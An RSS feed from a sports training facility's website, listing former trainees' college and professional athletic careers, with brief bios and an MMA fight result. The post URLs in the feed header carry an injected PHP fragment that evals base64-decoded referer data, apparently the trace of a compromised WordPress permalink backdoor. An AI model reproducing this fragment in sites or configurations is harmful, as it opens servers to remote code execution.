Northstar Sports Training » Our Stars: NorthStar’s Premier Athletes http://www.nssportstraining.com Premier Athlete Training Facility Fri, 03 Feb 2012 19:14:12 +0000 en hourly 1 Where Are They Now? NorthStar’s Athletes at the Next Level http://www.nssportstraining.com/2011/11/15/where-are-they-now-northstars-athletes-at-the-next-level/%&($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&%/?utm_source=rss&utm_medium=rss&utm_campaign=where-are-they-now-northstars-athletes-at-the-next-level http://www.nssportstraining.com/2011/11/15/where-are-they-now-northstars-athletes-at-the-next-level/%&($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&%/#comments Tue, 15 Nov 2011 19:02:51 +0000 jasminenorth http://www.nssportstraining.com/?p=960 Where Are They Now? NorthStar’s Athletes at the Next Level

Stay Tuned: Bio’s and Updates will be added with great frequency as we follow up with NorthStar’s best!

In our 6th year of training the Hudson Valley’s most committed and talented athletes, we have accrued quite a list of athletes who have worked their way to successful careers at the collegiate and professional levels.

We are proud of our athletes for having the courage and putting forth the effort necessary to achieve their goals. It takes more than the thought or even the ‘want’ to reach the highest level. There is a certain passion, sacrifice, and willingness for vulnerability in order to put yourself out beyond your comfort zone and take that step facing a higher level of competition.

These NorthStar athletes have shown those qualities and have made a name for themselves beyond the tiny realm that is the Hudson Valley.

Joe Gatewood- Junior Baseball Player at Bluefield College
Chelsea Lisikatos- Freshman Softball Player at UNC Charlotte
Tom Eckelman- Junior Offensive Lineman at Ursinus College
Brendan Weafer- Mixed Martial Arts Fighter: Professional Record of 6-3
Dan Tempest- Junior Soccer Player at Hamilton College
Elijah McLaurin- Plays Basketball at The Hill School
Brittney Gullo- Signed her letter of intent to play Basketball at American International College
Shannon Barry- Sophomore Soccer Player at Manhattan College
Steve Vitale- Freshman Football Player at Castleton State University
Jimmy Ross- Freshman Running Back at St. John Fisher College
Brandon James- Junior Basketball Player at Colgate University
Martin McCann- Played Basketball at Hartwick College: Graduated in 2011
Eric Fazio- Junior Basketball Player at Kean State University
Rachel Cerrone- Freshman Soccer Player at Central Connecticut State University
Troy VanBuren- Sophomore Offensive Lineman at Western Connecticut State University
Jarrid Williams- Freshman Defensive Back at Wagner College
Dane Meyers- Freshman Defensive Back at Assumption College
Dijon Davidson- Freshman Safety at Widener University
Fabian Stone- Freshman Quarterback/ Wide Receiver at Susquehanna University
Chris Schettino- Sophomore Offensive Lineman at Hartwick College
Rob Wright
George Dallas- Senior Guard for Marist College Basketball
Taylor Wilson- Freshman Linebacker at WPI
Mike Varvara- Sophomore Safety at Springfield College
Sam Pagano- Senior Softball Player at Post University
Jess Syska- Freshman Softball Player at Dominican College
Chris Lombardi- Sophomore Defensive Back at Sacred Heart University
Peter Keenan- Plays Football at Canterbury Prep
Clinton McCabe- Senior Wide Receiver at College of the Holy Cross
Anthony Balbo- Junior Soccer player at Hamilton College
Aislinn McIlvenny- Redshirt Freshman soccer player at Charleston Southern University
Dan Fasion- Played Football at Marist College. Currently Plays for Semi-Pro Western Connecticut Militia
Nick Strang- Junior Quarterback at Hobart and William Smith College
BIO BLAST 11/17
Biography: Position: QB Class: Junior Height: 6-4 Weight: 225
Hometown: Hopewell Junction, N.Y. High School: John Jay
2010: Played in five games, including his first start, before season was cut short by illness … Against Union, made a splash in his first start, completing 19-of-29 for 405 yards and five touchdowns, while rushing for 93 yards and the game-winning touchdown in the second overtime … The 498 yards of total offense are a Hobart game record … Matched the Statesmen game mark for TD passes … Only two Hobart quarterbacks have thrown for more yards in a single game … Named Liberty League Offensive Performer of the Week and ECAC North Offensive Player of the Week after performance against the Dutchmen.
2009: Saw action against St. Lawrence and Merchant Marine
John Jay High School: Three-year varsity letterman … Played quarterback … Served as a team captain as a senior … Two-time all-league and all-section selection … Named MVP of the Section I North-South All-Star Game … Also played baseball for the Patriots.
 
Conor Drummond- Freshman Baseball Player at Salisbury University
Alex Zykoff- Freshman Baseball Player at Texas A&M International University
Alex McKeon- Freshman Baseball Player at Northeastern University
Jordan Bledsoe- Played Defensive Tackle for Fordham University. Graduated in 2011
Curtis ‘Slim’ Walker- Junior Wide Receiver at Western Connecticut State University
Charles Spencer- 3rd Round Draft Pick of the Houston Texans in the 2006 NFL Draft
Brett Gemmell- Signed his letter of intent to play baseball at High Point University
Brad Serini- Signed to play with the Tampa Bay Storm of the Arena Football League. Played Center at Florida International University: Graduated in 2011
Nick Camastro- Junior baseball player at Manhattan College
BIO BLAST: 11/20
GENERAL: Athletic middle infielder with good speed and a strong arm… possesses good fundamentals and work ethic.
2010: Started all 51 games at shortstop… hit .302 with 23 RBI and 40 runs scored…recorded 49 hits, including six doubles and two triples… hit first career home run, which was a grand slam, helping Manhattan to a win over Iona (5/15) at Van Cortlandt Park… registered a .401 on-base percentage… posted 10 multi-hit games, recording a career-high four hits in a win over Niagara (5/1) and at Canisius (5/8)… tallied four multi-RBI performances… hit .329 and knocked in 10 runs in 24 MAAC starts…stole five bases… was one of two Jaspers to start all 51 games… made collegiate debut at #10 Miami on Feb. 26…recorded first career hit, run and RBI in a 12-7 victory over #10 Miami (2/28)
BEFORE MANHATTAN: Three year starting shortstop at Arlington High School… helped guide the Admirals to the 2007 & 2009 league championship… helped Arlington advance to the Section I Finals in 2009… named All-Section I and All-State as a senior… was a member of the Hudson Valley Team which won the gold medal at the 2008 Empire State Games… played four years under head coach Bob Fletcher on the Taconic Rangers travel baseball team… member of the Student Athletic Council at Arlington and the National Honor Society.
Robbie Camastro- signed his letter of intent to play baseball at Manhattan College
Emily Padilla- signed her letter of intent to play softball at Stonehill College
Chris Nardo- Junior baseball player at Hofstra University
Franco Bianchi- Freshman Running Back at Springfield College
Colin Coughlin- Sponsored member of the USA Bobsled Team
Cat Clifford- Sophomore Softball Player at Mount St. Mary’s University
Brett Anker- Plays Rugby at Vassar College
Eric Traditti- Freshman Football Player at Marist College
Sam Loussedes- Sophomore Quarterback at Marist College

ATTENTION ATHLETES

PLEASE POST A COMMENT AT THE BOTTOM OF THIS PAGE TO LET US KNOW HOW YOU ARE DOING. WE HAVE MANY HIGH SCHOOL ATHLETES NOW WHO STAND WHERE YOU STOOD JUST A FEW YEARS AGO. WOULD YOU BE WILLING TO SHARE YOUR STORY WITH THEM AND WHAT IT TOOK FOR YOU TO BE SUCCESSFUL? ONCE YOU ARE PART OF THE NORTHSTAR FAMILY, YOU ARE ALWAYS PART OF THE FAMILY. WE HOPE EVERYONE IS DOING WELL, STAYING HEALTHY AND READY TO GET BACK IN THE GYM TO TRAIN THIS WINTER BREAK!!!

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Triangle Choke 1:16 in the 1st Round

“I won, Triangle Choke 1:16 Round 1. Put him to sleep!  Thank You for all your help and support”

-Brendan Weafer

Full Fight Recap to Come

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Friday, July 29th, 2011 at 7:30 PM

XFE 8 House of Pain

“Brendan is a very diverse martial artist and has been very successful competing in many different disciplines. Brendan is a Tae Kwon do Champion who then went on to wrestle in high school and set the school record for wins & was a 4x all league finisher.

As a professional Muay Thai fighter, Brendan was 3-1 and also had the honor of fighting in Thailand before he decided to put all of his training together and compete in MMA where he now has a professional MMA record of 6-3″ -MVC Sports Management

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Brendan Weafer: Professional MMA Fighter

 

Colin Coughlin: USA  Bobsled Team

Zuri Lawrence: Professional Heavyweight Boxer

Brain Mclaughlin:  UFC’s Ultimate Fighter 8

Jordan Bledsoe: Defensive Tackle, Fordham University,  All-Patriot League Selection

Brad Serini: Center, Florida International University, All-SunBelt Conference Selection

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